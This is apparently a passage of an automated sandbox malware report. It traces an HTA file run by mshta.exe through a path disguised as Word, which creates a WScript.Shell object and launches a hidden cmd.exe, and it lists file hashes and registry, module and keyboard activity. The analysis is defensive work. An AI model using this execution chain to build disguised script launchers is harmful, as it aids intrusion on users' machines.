  • Region Actions
iphlpapi.dll 0x75100000 0x7511bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
dnsapi.dll 0x75120000 0x75163fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msls31.dll 0x75170000 0x75199fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
winnsi.dll 0x75300000 0x75306fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
cryptbase.dll 0x753f0000 0x753fbfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
sspicli.dll 0x75400000 0x7545ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
urlmon.dll 0x75460000 0x75595fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msvcrt.dll 0x755a0000 0x7564bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
shell32.dll 0x75650000 0x76299fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wldap32.dll 0x762a0000 0x762e4fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wininet.dll 0x762f0000 0x763e4fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
advapi32.dll 0x763f0000 0x7648ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
clbcatq.dll 0x76490000 0x76512fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
kernel32.dll 0x76520000 0x7662ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rpcrt4.dll 0x76690000 0x7677ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
shlwapi.dll 0x76780000 0x767d6fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
imm32.dll 0x767e0000 0x7683ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
normaliz.dll 0x76840000 0x76842fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
oleaut32.dll 0x76910000 0x7699efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
sechost.dll 0x769a0000 0x769b8fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
crypt32.dll 0x769c0000 0x76adcfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
nsi.dll 0x76c80000 0x76c85fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
usp10.dll 0x76c90000 0x76d2cfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ole32.dll 0x76d30000 0x76e8bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msasn1.dll 0x76e90000 0x76e9bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
lpk.dll 0x76ea0000 0x76ea9fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
iertutil.dll 0x76f30000 0x7712afff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ws2_32.dll 0x77130000 0x77164fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msctf.dll 0x771f0000 0x772bbfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
kernelbase.dll 0x772c0000 0x77305fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
user32.dll 0x77310000 0x7740ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
gdi32.dll 0x77410000 0x7749ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
private_0x00000000774a0000 0x774a0000 0x77599fff Private Memory Readable, Writable, Executable True False False
  • Region Actions
private_0x00000000775a0000 0x775a0000 0x776befff Private Memory Readable, Writable, Executable True False False
  • Region Actions
ntdll.dll 0x776c0000 0x77868fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
psapi.dll 0x77870000 0x77874fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ntdll.dll 0x778a0000 0x77a1ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
private_0x000000007ef9e000 0x7ef9e000 0x7efa0fff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efa1000 0x7efa1000 0x7efa3fff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efa4000 0x7efa4000 0x7efa6fff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efa7000 0x7efa7000 0x7efa9fff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efaa000 0x7efaa000 0x7efacfff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efad000 0x7efad000 0x7efaffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x000000007efb0000 0x7efb0000 0x7efd2fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x000000007efd5000 0x7efd5000 0x7efd7fff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efd8000 0x7efd8000 0x7efdafff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efdb000 0x7efdb000 0x7efddfff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efde000 0x7efde000 0x7efdefff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efdf000 0x7efdf000 0x7efdffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efe0000 0x7efe0000 0x7ffdffff Private Memory Readable True False False
  • Region Actions
pagefile_0x000000007efe0000 0x7efe0000 0x7f0dffff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x000000007f0e0000 0x7f0e0000 0x7ffdffff Private Memory Readable True False False
  • Region Actions
private_0x000000007ffe0000 0x7ffe0000 0x7ffeffff Private Memory Readable True False False
  • Region Actions
private_0x000000007fff0000 0x7fff0000 0x7fffffeffff Private Memory Readable True False False
  • Region Actions
For performance reasons, the remaining 44 entries are omitted.
The remaining entries can be found in flog.txt.
Modified Files
+
Filename File Size Hash Values YARA Match Actions
c:\users\kft6utqw\appdata\local\microsoft\windows\temporary internet files\content.ie5\pmmr5k9k\index[1].hta 3.36 KB (3444 bytes) MD5: bf7cd7cbe3aa1d0e65fd3731c9afb5c1
SHA1: 0c8d82f7e56e124445ee1167383b82b58b27b0d2
SHA256: 2b4f25a9a6df541fcea90576a08000362714744936c5fe1892ba843ff8171c49 		False
Host Behavior
COM (8)
+
Operation Class Interface Additional Information Success Count Logfile
Create 3050F5C8-98B5-11CF-BB82-00AA00BDCE0B 00000000-0000-0000-C000-000000000046 cls_context = CLSCTX_INPROC_SERVER True 1
Fn
Create 50D5107A-D278-4871-8989-F4CEAAF59CFC 08C0E040-62D1-11D1-9326-0060B067B86E cls_context = CLSCTX_INPROC_SERVER, CLSCTX_NO_CODE_DOWNLOAD True 1
Fn
Create F414C260-6AC0-11CF-B6D1-00AA00BBBB58 BB1A2AE1-A4F9-11CF-8F20-00805F2CD064 cls_context = CLSCTX_INPROC_SERVER True 1
Fn
Create 00000323-0000-0000-C000-000000000046 00000146-0000-0000-C000-000000000046 cls_context = CLSCTX_INPROC_SERVER True 1
Fn
Create 6C736DB1-BD94-11D0-8A23-00AA00B58E10 6C736DC1-AB0D-11D0-A2AD-00A0C90F27E8 cls_context = CLSCTX_INPROC_SERVER True 2
Fn
Create B54F3741-5B07-11CF-A4B0-00AA004A55E8 BB1A2AE1-A4F9-11CF-8F20-00805F2CD064 cls_context = CLSCTX_INPROC_SERVER True 1
Fn
Create wscrIPt.sHELl IClassFactory cls_context = CLSCTX_INPROC_SERVER, CLSCTX_LOCAL_SERVER, CLSCTX_REMOTE_SERVER True 1
Fn
File (4)
+
Operation Filename Additional Information Success Count Logfile
Open STD_INPUT_HANDLE True 1
Fn
Open STD_OUTPUT_HANDLE True 1
Fn
Open STD_ERROR_HANDLE True 1
Fn
Open Mapping #MSHTML#PERF#000009C0 desired_access = FILE_MAP_WRITE False 1
Fn
Registry (106)
+
Operation Key Additional Information Success Count Logfile
Open Key HKEY_CLASSES_ROOT\clsid\{25336920-03f9-11cf-8fd0-00aa00686f13}\InProcServer32 True 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Internet Explorer\Main\FeatureControl False 1
Fn
Open Key HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Main\FeatureControl False 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl True 6
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl True 8
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_CSS_DATA_RESPECTS_XSS_ZONE_SETTING_KB912120 False 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_CSS_DATA_RESPECTS_XSS_ZONE_SETTING_KB912120 False 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl True 8
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl True 6
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_EXTERNAL_STYLE_SHEET_FIX_FOR_SMARTNAVIGATION_KB926131 False 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_EXTERNAL_STYLE_SHEET_FIX_FOR_SMARTNAVIGATION_KB926131 False 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ARIA_SUPPORT False 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ARIA_SUPPORT False 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_LEGACY_DISPPARAMS False 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_LEGACY_DISPPARAMS True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_PRIVATE_FONT_SETTING False 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_PRIVATE_FONT_SETTING False 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_CSS_SHOW_HIDE_EVENTS False 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_CSS_SHOW_HIDE_EVENTS False 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_DISPLAY_NODE_ADVISE_KB833311 False 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_DISPLAY_NODE_ADVISE_KB833311 False 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ALLOW_EXPANDURI_BYPASS False 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ALLOW_EXPANDURI_BYPASS False 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BODY_SIZE_IN_EDITABLE_IFRAME_KB943245 False 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BODY_SIZE_IN_EDITABLE_IFRAME_KB943245 False 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_DATABINDING_SUPPORT False 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_DATABINDING_SUPPORT False 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ENFORCE_BSTR False 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ENFORCE_BSTR False 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ENABLE_DYNAMIC_OBJECT_CACHING False 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ENABLE_DYNAMIC_OBJECT_CACHING False 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl True 2
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_LEGACY_TOSTRING_IN_COMPATVIEW False 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_LEGACY_TOSTRING_IN_COMPATVIEW False 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl True 2
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ENABLE_OM_SCREEN_ORIGIN_DISPLAY_PIXELS False 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ENABLE_OM_SCREEN_ORIGIN_DISPLAY_PIXELS False 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_RESTRICT_CRASH_RECOVERY_SAVE_KB978454 False 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_RESTRICT_CRASH_RECOVERY_SAVE_KB978454 False 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_CLEANUP_AT_FLS False 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_CLEANUP_AT_FLS False 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_MANAGE_SCRIPT_CIRCULAR_REFS False 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_MANAGE_SCRIPT_CIRCULAR_REFS False 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_DOCUMENT_COMPATIBLE_MODE False 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_DOCUMENT_COMPATIBLE_MODE False 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_WEBOC_DOCUMENT_ZOOM False 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_WEBOC_DOCUMENT_ZOOM False 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\PageSetup True 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_XSSFILTER False 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_XSSFILTER True 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_SHOW_FAILED_CONNECT_CONTENT_KB942615 False 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_SHOW_FAILED_CONNECT_CONTENT_KB942615 False 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_MSHTML_AUTOLOAD_IEFRAME False 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_MSHTML_AUTOLOAD_IEFRAME True 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_MIME_TREAT_IMAGE_AS_AUTHORITATIVE False 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_MIME_TREAT_IMAGE_AS_AUTHORITATIVE False 1
Fn
Open Key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Script\Features False 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\COM3 True 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ACTIVEX_INACTIVATE_MODE_REMOVAL_REVERT False 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ACTIVEX_INACTIVATE_MODE_REMOVAL_REVERT False 1
Fn
Read Value HKEY_CLASSES_ROOT\clsid\{25336920-03f9-11cf-8fd0-00aa00686f13}\InProcServer32 value_name = 0, data = C:\Windows\SysWOW64\mshtml.dll, type = REG_SZ True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer value_name = NoFileMenu, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\PageSetup value_name = Print_Background False 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\COM3 value_name = COM+Enabled, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Process (1)
+
Operation Process Additional Information Success Count Logfile
Create C:\Windows\system32\cmd.exe show_window = SW_HIDE True 1
Fn
Module (119)
+
Operation Module Additional Information Success Count Logfile
Load C:\Windows\SysWOW64\mshtml.dll base_address = 0x6f6a0000 True 1
Fn
Load comctl32.dll base_address = 0x74820000 True 1
Fn
Load OLEAUT32.dll base_address = 0x76910000 True 1
Fn
Load mshtml.dll base_address = 0x6f6a0000 True 1
Fn
Load OLEACC.DLL base_address = 0x74f50000 True 1
Fn
Load ieframe.dll base_address = 0x6ec20000 True 2
Fn
Load oleaut32.dll base_address = 0x76910000 True 1
Fn
Load ADVAPI32.dll base_address = 0x763f0000 True 1
Fn
Load ole32.dll base_address = 0x76d30000 True 1
Fn
Load shell32.dll base_address = 0x75650000 True 1
Fn
Get Handle c:\windows\syswow64\mshta.exe base_address = 0xdf0000 True 2
Fn
Get Handle c:\windows\syswow64\kernel32.dll base_address = 0x76520000 True 5
Fn
Get Handle c:\windows\syswow64\kernelbase.dll base_address = 0x772c0000 True 26
Fn
Get Handle c:\windows\syswow64\advapi32.dll base_address = 0x763f0000 True 1
Fn
Get Handle EXPLORER.EXE base_address = 0x0 False 1
Fn
Get Handle IEXPLORE.EXE base_address = 0x0 False 1
Fn
Get Handle c:\windows\syswow64\ole32.dll base_address = 0x76d30000 True 1
Fn
Get Filename process_name = c:\windows\system32\mshta.exe, file_name_orig = C:\Programs\Microsoft\Office\MSword.exe\..\..\..\..\windows\system32\mshta.exe, size = 260 True 4
Fn
Get Filename C:\Windows\SysWOW64\mshtml.dll process_name = c:\windows\system32\mshta.exe, file_name_orig = C:\Windows\SysWOW64\mshtml.dll, size = 260 True 1
Fn
Get Filename c:\windows\syswow64\mshta.exe process_name = c:\windows\system32\mshta.exe, file_name_orig = C:\Programs\Microsoft\Office\MSword.exe\..\..\..\..\windows\system32\mshta.exe, size = 260 True 1
Fn
Get Filename IEXPLORE.EXE process_name = c:\windows\system32\mshta.exe, file_name_orig = C:\Programs\Microsoft\Office\MSword.exe\..\..\..\..\windows\system32\mshta.exe, size = 260 True 1
Fn
Get Filename IEXPLORE.EXE process_name = c:\windows\system32\mshta.exe, file_name_orig = C:\Programs\Microsoft\Office\MSword.exe\..\..\..\..\windows\system32\mshta.exe, size = 261 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlsAlloc, address_out = 0x76534f2b True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlsGetValue, address_out = 0x76531252 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlsSetValue, address_out = 0x76534208 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlsFree, address_out = 0x7653359f True 1
Fn
Get Address c:\windows\syswow64\kernelbase.dll function = EncodePointer, address_out = 0x778e0fcb True 9
Fn
Get Address c:\windows\syswow64\kernelbase.dll function = DecodePointer, address_out = 0x778d9d35 True 17
Fn
Get Address c:\windows\syswow64\kernelbase.dll function = InitializeCriticalSectionAndSpinCount, address_out = 0x772d004f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = HeapSetInformation, address_out = 0x76535651 True 2
Fn
Get Address c:\windows\syswow64\advapi32.dll function = EventWrite, address_out = 0x77900c59 True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = EventRegister, address_out = 0x778df6ba True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = EventUnregister, address_out = 0x778f9241 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = RegisterApplicationRestart, address_out = 0x7655b53c True 1
Fn
Get Address c:\windows\syswow64\mshtml.dll function = RunHTMLApplication, address_out = 0x6f6fe710 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = InitializeSRWLock, address_out = 0x778d8456 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = AcquireSRWLockExclusive, address_out = 0x778d29f1 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = AcquireSRWLockShared, address_out = 0x778d2560 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = ReleaseSRWLockExclusive, address_out = 0x778d29ab True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = ReleaseSRWLockShared, address_out = 0x778d25a9 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = 6, address_out = 0x76913e59 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = 7, address_out = 0x76914680 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = 8, address_out = 0x76913ed5 True 1
Fn
Get Address c:\windows\syswow64\oleacc.dll function = LresultFromObject, address_out = 0x74f52663 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = 2, address_out = 0x76914642 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VariantClear, address_out = 0x76913eae True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = RegisterTraceGuidsA, address_out = 0x7790848f True 2
Fn
Get Address c:\windows\syswow64\advapi32.dll function = RegOpenKeyExA, address_out = 0x76404907 True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = RegQueryValueExA, address_out = 0x764048ef True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = RegCloseKey, address_out = 0x7640469d True 1
Fn
Get Address c:\windows\syswow64\ole32.dll function = CoGetObjectContext, address_out = 0x76d7632b True 1
Fn
Get Address c:\windows\syswow64\ole32.dll function = CoCreateInstance, address_out = 0x76d79d0b True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = 26, address_out = 0x7692e9b7 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = 17, address_out = 0x7692e1b6 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = 25, address_out = 0x7692ea56 True 1
Fn
Get Address c:\windows\syswow64\ole32.dll function = CoGetClassObject, address_out = 0x76d654ad True 1
Fn
Get Address c:\windows\syswow64\shell32.dll function = ShellExecuteExW, address_out = 0x75671e46 True 1
Fn
Create Mapping filename = System Paging File, protection = PAGE_READWRITE, maximum_size = 16 True 1
Fn
Map process_name = c:\windows\system32\mshta.exe, desired_access = FILE_MAP_WRITE True 1
Fn
Window (8)
+
Operation Window Name Additional Information Success Count Logfile
Create class_name = HTML Application Host Window Class, wndproc_parameter = 1874695808 True 1
Fn
Create class_name = HTML Application Host Window Class, wndproc_parameter = 1874695808 True 1
Fn
Set Attribute class_name = HTML Application Host Window Class, index = 18446744073709551600, new_long = 18446744071609188352 True 2
Fn
Set Attribute class_name = HTML Application Host Window Class, index = 18446744073709551596, new_long = 262144 True 1
Fn
Keyboard (107)
+
Operation Additional Information Success Count Logfile
Get Info type = KB_LOCALE_ID True 1
Fn
Get Info type = KB_LOCALE_ID, os_tid = 0, result_out = 67699721 True 2
Fn
Read virtual_key_code = VK_SHIFT, result_out = 0 True 19
Fn
Read virtual_key_code = VK_CONTROL, result_out = 0 True 19
Fn
Read virtual_key_code = VK_MENU, result_out = 0 True 12
Fn
Read virtual_key_code = VK_LSHIFT, result_out = 0 True 9
Fn
Read virtual_key_code = VK_LCONTROL, result_out = 0 True 9
Fn
Read virtual_key_code = VK_LMENU, result_out = 0 True 6
Fn
Read virtual_key_code = VK_LBUTTON, result_out = 0 True 5
Fn
Read virtual_key_code = VK_RBUTTON, result_out = 0 True 7
Fn
Read virtual_key_code = VK_MBUTTON, result_out = 0 True 7
Fn
Read virtual_key_code = VK_LBUTTON, result_out = 1 True 2
Fn
Read virtual_key_code = VK_MENU, result_out = 18446744073709551489 True 3
Fn
Read virtual_key_code = VK_LMENU, result_out = 18446744073709551489 True 1
Fn
Read virtual_key_code = VK_MENU, result_out = 1 True 3
Fn
Read virtual_key_code = VK_LMENU, result_out = 1 True 2
Fn
System (49)
+
Operation Additional Information Success Count Logfile
Get Cursor x_out = 667, y_out = 493 True 1
Fn
Get Cursor x_out = 793, y_out = 284 True 5
Fn
Get Cursor x_out = 801, y_out = 498 True 3
Fn
Sleep duration = 100 milliseconds (0.100 seconds) True 5
Fn
Get Time type = System Time, time = 2017-10-16 14:26:51 (UTC) True 1
Fn
Get Time type = Ticks, time = 66144 True 1
Fn
Get Time type = Ticks, time = 79030 True 1
Fn
Get Time type = Ticks, time = 79045 True 2
Fn
Get Time type = Ticks, time = 79061 True 7
Fn
Get Time type = Ticks, time = 79076 True 1
Fn
Get Time type = Ticks, time = 79139 True 2
Fn
Get Time type = Ticks, time = 79201 True 1
Fn
Get Time type = Ticks, time = 79310 True 1
Fn
Get Time type = Ticks, time = 79420 True 1
Fn
Get Info type = Operating System False 7
Fn
Get Info type = Operating System True 6
Fn
Get Info type = Windows Directory, result_out = C:\Windows True 1
Fn
Get Info True 3
Fn
Mutex (1)
+
Operation Additional Information Success Count Logfile
Create mutex_name = Local\!PrivacIE!SharedMemory!Mutex True 1
Fn
Environment (2)
+
Operation Additional Information Success Count Logfile
Get Environment String True 1
Fn
Data
Get Environment String name = JS_PROFILER False 1
Fn
Ini (5)
+
Operation Filename Additional Information Success Count Logfile
Read Win.ini section_name = windows, key_name = DragDelay, default_value = 20, data_out = 20 True 1
Fn
Read Win.ini section_name = windows, key_name = DragScrollInset, default_value = 11, data_out = 11 True 1
Fn
Read Win.ini section_name = windows, key_name = DragScrollDelay, default_value = 50, data_out = 50 True 1
Fn
Read Win.ini section_name = windows, key_name = DragDelay, default_value = 200, data_out = 200 True 1
Fn
Read Win.ini section_name = windows, key_name = DragScrollInterval, default_value = 50, data_out = 50 True 1
Fn
Process #4: cmd.exe
(Host: 58, Network: 0)
+
Information Value
ID #4
File Name c:\windows\syswow64\cmd.exe
